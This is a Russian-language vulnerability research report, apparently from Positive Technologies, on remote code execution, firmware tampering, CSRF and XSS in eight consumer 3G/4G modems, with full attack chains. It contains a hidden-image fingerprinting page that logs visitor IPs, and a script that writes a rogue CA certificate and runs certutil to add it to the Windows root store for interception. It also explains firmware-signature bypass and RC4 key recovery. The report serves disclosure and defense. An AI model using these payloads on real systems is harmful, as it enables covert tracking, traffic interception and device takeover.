Данный отчет является логическим продолжением исследования «#root via SMS», завершенного в 2014 году командой SCADA Strangelove. Исследование затрагивало уязвимости модемов лишь частично, в рамках более широкого описания уязвимостей оборудования телеком-операторов. В настоящем документе представлено описание всех найденных и использованных уязвимостей в 8 популярных моделях 3G- и 4G-модемов, доступных в России и по всему миру. Найденные уязвимости позволяют проводить удаленное выполнение кода в веб-сценариях (RCE), произвольную модификацию прошивки, межсайтовую подделку запросов (CSRF) и межсайтовое выполнение сценариев (XSS).
В исследовании также описан наиболее полный набор векторов атак на клиентов телекома, использующих данные модемы — это может быть идентификация устройств, внедрение кода, заражение пользовательского компьютера, к которому подключен модем, подделка SIM-карты и перехват данных, определение местоположения абонента и доступ к его личному кабинету на портале оператора, а также целевые атаки (APT). Слайды презентации данного исследования с ZeroNights 2015 представлены здесь.
Оборудование
Было рассмотрено 8 модемов следующих производителей:
- Huawei (2 разных модема и 1 роутер),
- Gemtek (1 модем и 1 роутер),
- Quanta (2 модема),
- ZTE (1 модем).
Очевидно, что не все модемы поставлялись с уязвимыми прошивками: часть уязвимостей в прошивках были допущены при кастомизации прошивки сотовым оператором. Хотя такие подписи наводят на некоторые мысли:
Далее для удобства все сетевое оборудование — и модемы, и роутеры — будут называться «модемы».
Статистика по уязвимым модемам
Modem | Total |
---|---|
Gemtek1 | 1411 |
Quanta2, ZTE | 1250 |
Gemtek2 | 1409 |
Quanta1 | 946 |
Huawei | - |
Данные собирались пассивно с портала SecurityLab.ru с 29.01.2015 по 05.02.2015 (1 неделя). В статистике не представлены сведения о модемах Huawei, но их всегда можно найти в shodan.io, например вот так:
Найденные уязвимости
Во всех рассмотренных моделях присутствовали те или иные критически опасные уязвимости, которые приводили к полной компрометации системы. Практически все из них можно было эксплуатировать удаленно (см. общую таблицу по модемам). Описание найденных уязвимостей, ранжированных по степени опасности:
1. Удаленное выполнение кода в веб-сценариях, 5 устройств (RCE)
Все рассмотренные веб-серверы на модемах работают на базе простых CGI-скриптов, которые практически нигде не проходили должную фильтрацию (кроме модемов Huawei, и то спустя несколько обновлений после оглашения уязвимостей).
И конечно же все модемы работают с файловой системой: им необходимо отправлять AT-команды, читать и писать смс, настраивать правила на фаерволе и т. п.
Кроме того, практически нигде не использовалась защита от атак класса CSRF, что позволяло выполнять код удаленно с помощью методов социальной инженерии и удаленной отправки запросов через зловредный сайт. Для некоторых модемов возможно проведение атаки XSS.
Сочетание этих трех факторов дает неутешительный результат: более 60% модемов уязвимы к удаленному выполнению кода. Причем обновленную прошивку без этой уязвимости можно получить только для модемов Huawei (есть публичные описания уязвимостей): остальные уязвимости пока считаются 0-days.
2. Произвольная модификация прошивки, 6 устройств (Integrity attacks)
Только три модема имели криптографическую защиту прошивок от модификации. Два модема работали по одинаковому алгоритму с помощью асимметрично зашифрованного RSA в режиме digital signature контрольной суммы SHA1, третий модем шифровал содержимое прошивки с помощью потокового шифра RC4.
На все реализации криптоалгоритмов удалось совершить атаки, приводящие к нарушению целостности и конфиденциальности: в первом случае мы можем модифицировать прошивку, внедряя в нее произвольный код, во втором случае из-за слабостей реализации алгоритма удалось извлечь ключ и определить алгоритм шифрования, что также приводит к возможности произвольно изменять содержимое прошивки.
Еще три модема не имели защиты от модификации прошивок, однако для обновления прошивки необходим локальный доступ к интерфейсам COM.
В оставшихся двух модемах предусматривалась возможность обновления только через сеть оператора c помощью технологии FOTA (Firmware Over-The-Air).
3. Межсайтовая подделка запросов, 5 устройств (CSRF)
Атаки CSRF можно использовать для разных задач, но в первую очередь — для удаленной загрузки модифицированной прошивки и внедрения произвольного кода. Эффективной защитой от этой атаки является использование уникальных токенов для каждого запроса.
4. Межсайтовое выполнение сценариев, 4 устройства (XSS)
Поверхность применения данных атак также достаточно широка — от инфицирования узла до перехвата чужих СМС, однако в нашем исследовании основное их применение — это также загрузка модифицированных прошивок в обход проверок antiCSRF и Same-Origin Policy.
Векторы атак
1. Идентификация
Для проведения успешной атаки на модем необходимо его идентифицировать. Конечно же, можно отправлять все возможные запросы для эксплуатации уязвимостей RCE или пытаться загрузить все возможные версии прошивок по всем возможным адресам, однако это представляется неэффективным и может быть заметно для атакуемого пользователя. Кроме того, в реальных, нелабораторных условиях, которые рассматриваются в этом исследовании, достаточно важным является время заражения — от момента обнаружения пользователя до момента внедрения кода, изменения настроек модема.
Именно поэтому на первоначальном этапе необходимо правильно определить атакуемое устройство. Для этого используется простой набор адресов изображений, наличие которых говорит о той или иной версии модема. Таким образом нам удалось определить все рассматриваемые модемы со 100%-ной точностью. Пример кода ниже:
<?php
$type = 0;
if ($_GET['type']=='1')
{
$type = 1;
}
elseif
($_GET['type']=='2')
{
$type = 2;
}
elseif
($_GET['type']=='3')
{
$type = 3;
}
elseif
($_GET['type']=='4')
{
$type = 4;
}
file_put_contents("./log_31337.txt", ($type>0?"2(".$type."):\t":"1:\t").
$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_CLIENT_IP'].' '.$_SERVER['HTTP_X_FORWARDED_FOR']."\t".
date("Y-m-d H:i:s")."\t".time()."\t".
$_SERVER['HTTP_USER_AGENT']."\r\n",
FILE_APPEND);
?>
<script>
function createxmlHttpRequestObject()
{
var xmlHttp;
if (window.ActiveXObject)
{
try
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
xmlHttp = false;
}
}
else
{
try
{
xmlHttp = new XMLHttpRequest();
}
catch(e)
{
xmlHttp = false;
}
}
if (!xmlHttp)
{}
else
{return xmlHttp;}
}
function HandleServerResponse()
{
if (xmlHttp.readyState == 4)
{
}
}
var xmlHttp = createxmlHttpRequestObject();
function set(type)
{
if (xmlHttp.readyState == 4 || xmlHttp.readyState == 0)
{
xmlHttp.open('GET', '?type='+type, true);
xmlHttp.onreadystatechange = HandleServerResponse;
xmlHttp.send(null);
}
else
{
setTimeout(function(){set(type)},1000);
}
}
</script>
<img src="http:// 192.168.0.1/img/1.png" style="height:0;width:0;" onload="set('1')">
<img src="http://192.168.0.1/img/2.jpg" style="height:0;width:0;" onload="set('2')">
<img src="http://hostname/img/3.png" style="height:0;width:0;" onload="set('3')">
<img src="http:// 192.168.0.1/img/4.gif" style="height:0;width:0;" onload="set('4')">
2. Внедрение кода
Данный этап уже подробно описан в предыдущем разделе, в пунктах 1 и 2. Внедрить код можно либо через уязвимость выполнения произвольного кода в веб-сценариях, либо через обновление на зараженную прошивку. Первым способом мы смогли проникнуть на 5 модемов.
Опишем подробно векторы для реализации второго способа.
В двух модемах использовался одинаковый алгоритм обеспечения целостности прошивки: шифрование асимметричным ключом RSA хеш-суммы SHA1 осуществлялось с помощью библиотеки openssl. Проверка проводилась некорректно: загрузив прошивку, являющуюся по сути архивом, веб-сервер извлекал из нее два основных файла — файл, указывающий на размер проверяемых данных, и файл с подписанной хеш-суммой этих данных. Далее, взяв с файловой системы публичный ключ, сценарий проверки обращался к функциям библиотеки openssl для дешифровки подписи и в дальнейшем сравнивал хеш-суммы, и в случае совпадения прошивка устанавливалась. Алгоритм сжатия прошивки обладал особенностью: к существующему архиву возможно было добавить дополнительные файлы с теми же именами, при этом никак не изменились бы начальные байты архива, а при распаковке прошивки произошла замена более поздним файлом более раннего. Благодаря этому можно очень просто изменить содержимое прошивки, никак не изменив целостность проверяемых данных.
В третьем модеме прошивки были зашифрованы по алгоритму RC4 c константной гаммой. Так как в интернете было доступно три разных версии этой прошивки, можно получить несколько байт plain-text — в тех местах, где в одном из файлов незашифрованной прошивки располагаются байты 0x00.
Дальнейшее извлечение ISO-образа виртуального CD-ROM позволяло извлечь частично бинарный файл с алгоритмом шифрования образов прошивки и адрес, по которому располагался ключ шифрования. Дальнейший XOR двух прошивок давал возможность получить plain-text именно по адресу ключа шифрования и успешно его извлечь.
Поддержку и помощь в атаках на криптопротоколы обеспечивал Дмитрий Скляров, заслуженный криптоаналитик и reverse engineer компании Positive Technologies
В дальнейшем для удаленной загрузки можно использовать атаку CSRF и функций HTML5 для передачи multipart/form-data либо атаку XSS, если приложение защищено от CSRF (для модема Huawei). От CSRF были защищены только три модема Huawei, и именно в них можно было эксплуатировать XSS для обхода этой защиты. Во всех остальных случаях загрузку можно было осуществить с помощью HTML5-кода, размещенного на специальной странице.
В модемах Gemtek использовался алгоритм обновления прошивки через специальную утилиту, устанавливаемую на компьютер. В этом случае прошивки загружались через интернет-соединение на хосте по протоколу HTTP. Но дальше использовался механизм контроля целостности загруженной прошивки с помощью контрольных сумм, также загружаемых с сервера. Проверить корректность работы данного сценария не удалось.
Однако надеяться, что тот же производитель, который некорректно проверяет целостность при загрузке на модемы, хорошо защищает целостность прошивок — не стоит.
3. Перехват данных
Теперь у нас есть возможность выполнять на модеме произвольный код. Далее необходимо сделать три вещи: определить местоположение модема (позже будет ясно, зачем), получить возможность перехватывать СМС и HTTP-трафик.
Самый простой способ определить местоположение — узнать идентификатор базовой станции (CellID). Тогда, зная MCC и MNC оператора, можно достаточно точно определить положение атакуемого с помощью публичных баз данных вроде opencellid.org. Другой способ — использовать встроенную в модем Wi-Fi-карту, чтобы, сканируя близлежащие сети, также определить местоположение жертвы (либо определить зону его возможного нахождения — ведь одна базовая станция может работать на достаточно большом радиусе покрытия). CellID нам удалось «достать» в 6 модемах, Wi-Fi был доступен в двух модемах. Для одного из модемов пришлось перекомпилировать и загружать новые драйверы для сетевой карты: текущие позволяли ему работать только в режиме ad hoc, а в этом режиме невозможно сканировать близлежащие точки доступа.
Рассматриваемые модемы были двух типов — поддерживающие работу с СМС и не поддерживающие. В первых обнаружить возможность чтения СМС через AT-команды так же не удалось. Во втором возможно чтение с использованием межсайтового выполнения сценариев. СМС обычно хранятся на файловой системе, поэтому несложно получить к ним доступ, чтобы читать а так же отправлять СМС и USSD-запросы.
Перехват трафика — более интересная вещь. Ее можно реализовать несколькими путями: через изменение настроек DNS-сервера на модеме, а также через изменение шлюза на модеме на Wi-Fi-интерфейс и подключение к заранее включенной точке доступа. Первый путь, конечно, проще, поменять настройки это дело на 10 секунд: они, как правило, тоже находятся на файловой системе; везде, кроме одного модема, это удалось. Второй вариант рассматривался чисто теоретически: задача была изменить режим сетевой карты с ad hoc на активную, подключится к посторонней точке доступа, а также поменять маршрутизацию на модеме.
Перехватывать мы можем не только HTTP-трафик. Простым внедрением и выполнением VBS-кода в HTML-страницу можно добавить свой сертификат в доверенные корневые центры сертификации и успешно проводить MITM:
<script>
function writeFileInIE(filePath, fileContent) {
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var file = fso.OpenTextFile(filePath, 2, true);
file.WriteLine(fileContent);
file.Close();
} catch (e) {
}
}
writeFileInIE("c:/1.crt", "-----BEGIN CERTIFICATE-----MIICxDCCAi2gAwIBAgIEVbtqxDANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhMLUG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0U3dpZ2dlcjEUMBIGA1UEChMLUG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2lnZ2VyIENBMRcwFQYDVQQDEw5Qb3J0U3dpZ2dlciBDQTAeFw0xNTA3MzExMjMyMDRaFw0zNTA3MjYxMjMyMDRaMIGKMRQwEgYDVQQGEwtQb3J0U3dpZ2dlcjEUMBIGA1UECBMLUG9ydFN3aWdnZXIxFDASBgNVBAcTC1BvcnRTd2lnZ2VyMRQwEgYDVQQKEwtQb3J0U3dpZ2dlcjEXMBUGA1UECxMOUG9ydFN3aWdnZXIgQ0ExFzAVBgNVBAMTDlBvcnRTd2lnZ2VyIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCMW4CYC94Y+hcSowE7Ea4l5hUkycKNi3XW/5GAq+xM+k8YVAEiREGlAly6AzFFjyNngMYiOU8boB2Gv9sRJ7yii+eNT9Dh8plnZdfteCJQqzQrwuwhBag7pdm0zisyjfzWIUQ+FEWMYcBvGqXW85+YqSycQNSZwhh18oiTx1Gq+QIDAQABozUwMzASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdDgQWBBR24qD42rjplUYYgjbHPInk+QoO3TANBgkqhkiG9w0BAQUFAAOBgQADWcc9RaFvD/trGoeWf5aZHrmtVUjiV9v8qY+Aoed13JpWOfhcpRpEMKeXDA+sm+iylsrq79B770XhLii9Yz2MyoyQ2jRiyTRth17eXr9w7KHnoTeAFgY9STConiqCpBrdZY+h7mXyIq3KzzWQuHuFRt6lL2oSaM/ZEK+KB3ImwA==-----END CERTIFICATE-----");
a=new ActiveXObject("WScript.Shell");
a.run("certutil -addstore -f Root c:/1.crt");
</script>
4. Подделка SIM-карты и перехват 2G-трафика
Подробно о способах атаки на приложения на SIM-карте рассказывается в работах Карстена Ноля (Karsten Nohl), а также в исследовании «#root via SMS». Нам по-прежнему необходимо отправлять бинарные СМС на сим-карты, так как научить модем посылать команды по протоколу APDU на приложения на SIM-карте так и не удалось.
Однако не все так печально: благодаря внедрению произвольного кода на модем возможно расширить скоуп-атак с помощью бинарных СМС. Во-первых, теперь бинарные СМС можно попробовать отправить «самому себе» — с атакуемой сим-карты на нее же через AT-интерфейс. Для этого необходимо переключить модем в диагностический режим и работать с COM-портом. Сделать это можно в фоновом режиме: для атакуемого до сих пор будет доступен веб-интерфейс и процесс переключения режима практически незаметен. Далее необходима коммуникация с COM-портом. Это можно сделать, внедрив VBS-код на страницу модема и выполнив этот код с правами пользователя, применив социальную инженерию.
Переводим модем в диагностический режим
Сценарий PowerShell для отправки бинарной СМС
Следующий вектор атаки, который может быть использован в сочетании с точной геолокацией атакуемого, – использование FakeBTS. Если мы знаем достаточно точно местоположение жертвы, а также его IMSI, мы можем использовать поддельную базовую станцию в непосредственной близости и ждать, пока он подключится к нам, либо, если мы можем, принудительно задать базовую станцию (такая возможность доступна для 5 устройств). В случае успеха отправлять бинарные СМС можно на атакуемую сим-карту без ограничений со стороны оператора.
5. Заражение рабочих станций
Проникнув на модем, мы ограничены в векторах атак на телеком-абонента, но если мы инфицируем компьютер, к которому подключен модем, то сразу получаем неограниченные возможности по хищению и перехвату данных в пределах этого компьютера.
Ранее описывался основной вектор заражения — bad USB. Однако, если использовать методы социальной инженерии, возможны еще несколько вариантов:
- Virtual CD-ROM. Практически все модемы имеют образ виртуального диска, который подключается на первом этапе для установки драйверов. Необходимо подменить этот образ и заставить его смонтироваться принудительно.
- VBS, drive-by-download. Внедрение исполняемого кода в тело HTML-страницы либо принудительная загрузка исполняемых файлов под видом «обновлений» или диагностических утилит.
- Browser 0-days. В качестве примера использовался Adobe Flash 0-day, найденный в архивах Hacking Team.
- Уязвимое клиентское ПО. Один из операторов поставлял вместе с модемом уязвимое диагностическое ПО, позволяющее выполнять произвольный код на компьютере под управлением OS X и Windows. Reference: за нахождение этой уязвимости отдельное спасибо Михаилу Фирстову из HeadLight Security.
Выполнение произвольного кода на клиентском ПО модема
6. Целевые атаки (APT)
Инфицировав модем и хост, необходимо как-то закрепиться в системах. В модеме необходимо сохраниться в автозагрузке даже после выключения модема и предотвращать дальнейшее обновление прошивок. В зараженном компьютере полезно будем определять и заражать другие уязвимые модемы, как только они будут подключены к компьютеру. Помимо всего прочего, заразить большинство устройств можно прямо в салоне связи, в процессе «проверки» устройства.
Еще одна возможность, которую, к сожалению, не удалось реализовать, — доступ в модем из сети оператора. Поскольку большинство уязвимых веб-серверов слушают на *:80, есть вероятность того, что веб-сервер модема будет доступен из сети оператора, однако, эта возможность оказалась не слишком актуальна. Хотя, только некоторые модемы принудительно запрещают входящие соединения из сети оператора либо конкретно указывают адрес для listen 192.168.0.1:80.
7. Дополнительно
Рассматривался также вектор получения доступа к личному кабинету оператора через отправку запроса по USSD и сброс пароля по СМС.
Данный вектор был показан на презентации «#root via SMS». Для эксплуатации использовалась атака XSS, которую можно было реализовать с помощью отправки СМС. Однако, это возможно и в тех модемах, где доступно чтение СМС с помощью RCE.
Результат эксплуатации XSS
Резюме
В итоге мы имеем полный цикл заражения устройств и компьютеров, в которые они подключаются. На зараженных устройствах мы можем определять геолокацию, перехватывать и отправлять СМС и USSD, читать HTTP- и HTTPS-трафик (в случае подмены SSL-сертификатов), проводить атаки на сим-карты через бинарные СМС и перехватывать 2G-трафик. Дальнейшее распространение возможно через сети оператора, заражение через популярные веб-ресурсы или по методу вируса-червя — через уже зараженное оборудование при подключении незараженного.
Что посоветовать клиентам, которые постоянно работают с такими устройствами? Самыми защищенными на сегодняшний день являются модемы Huawei, при условии что установлена последняя версия прошивки. Это единственная компания, которая сама поставляет прошивки (операторам дается возможность только добавлять визуальные элементы и отключать тот или иной набор функций). Кроме того, в отличии от других, компания Huawei регулярно исправляет уязвимости, которые находят в ее ПО.
Модемы:
Раскрытие информации
Хотя 90 дней с момента извещения телеком-операторов уже давно прошли, множество уязвимостей так и остались незакрытыми. Важный момент: уязвимости, найденные в процессе исследования необязательно принадлежат производителям модемов. Они могут добавляться в процессе кастомизации программного обеспечения телеком-провайдерами.
Автор: Тимур Юнусов, Positive Technologies
Благодарности за помощь и участие в исследовании: Алексей Осипов, Дмитрий Скляров, Кирилл Нестеров, Михаил Фирстов, SCADA Strangelove team
Слайды презентации с ZeroNights: